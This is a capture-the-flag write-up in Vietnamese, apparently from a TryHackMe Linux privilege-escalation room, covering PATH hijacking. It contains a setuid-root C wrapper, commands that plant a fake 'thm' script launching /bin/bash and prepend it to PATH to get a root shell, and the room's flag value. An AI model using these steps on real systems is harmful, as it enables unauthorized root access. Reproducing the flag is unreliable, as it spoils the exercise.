Description

Linux Privilege Escalation

Sử dụng quyền ghi vào PATH để thực thi những script tùy ý bằng quyền root nhằm thu được flag.

Techniques

Khi ta nhập một câu lệnh thì hệ điều hành sẽ kiếm các đường dẫn có sẵn hoặc trong biến môi trường PATH. Ý tưởng của loại khai thác này chỉ đơn giản là ta sẽ thực thi một binary hoặc script được liệt kê ở trong PATH (ta tự thêm vào) bằng quyền root.

Đầu tiên, cần đảm bảo là ta có quyền ghi vào biến môi trường PATH.

Bước tiếp theo, ta cần phải tìm ra các thư mục mà ta có thể ghi để tạo exploit bằng cách sử dụng:

find / -writable 2>/dev/null | grep -v proc

Sau đó ta có thể tạo ra một đoạn code C để gọi thực thi binary hoặc script bất kỳ như sau ở trong thư mục vừa tìm được ở trên như sau:

#include <unistd.h>
 
void main() {
	setuid(0);
	setgid(0);
	system("thm");
}

Giả sử ta đặt tên file chứa đoạn code trên là path.c. Ta biên dịch và thêm bit s cho nó như sau:

gcc path.c -o path
chmod u+s path

Ta cũng cần phải thêm một thư mục chứa file script cần thực thi, chẳng hạn /tmp, vào PATH.

export PATH=/tmp:$PATH

Kế đến, tạo ra file một file script ở trong thư mục ta đã thêm vào PATH, giả sử /tmp:

Chú ý rằng ta cần phải cấp tất cả các quyền cho file này.

Bước cuối cùng, gọi thực thi exploit và nó sẽ gọi đến file script ta vừa tạo ở /tmp với quyền root.

Approach

Tìm được thư mục /home/murdoch là có thể ghi được.

Vào thư mục này thì thấy có sẵn file test là có bit s. Khi thực thi thì nó báo là thm không tồn tại.

Ta sẽ tạo ra file thm và cấp quyền thực thi cho nó:

echo "/bin/bash" > thm
chmod 777 thm

Sau đó thêm đường dẫn /home/murdoch vào PATH:

export PATH=/home/murdoch:$PATH

Chạy file test và ta có được quyền root. Truy cập vào file /home/matt/flag6.txt để thu được flag.

Flag

Success

THM-736628929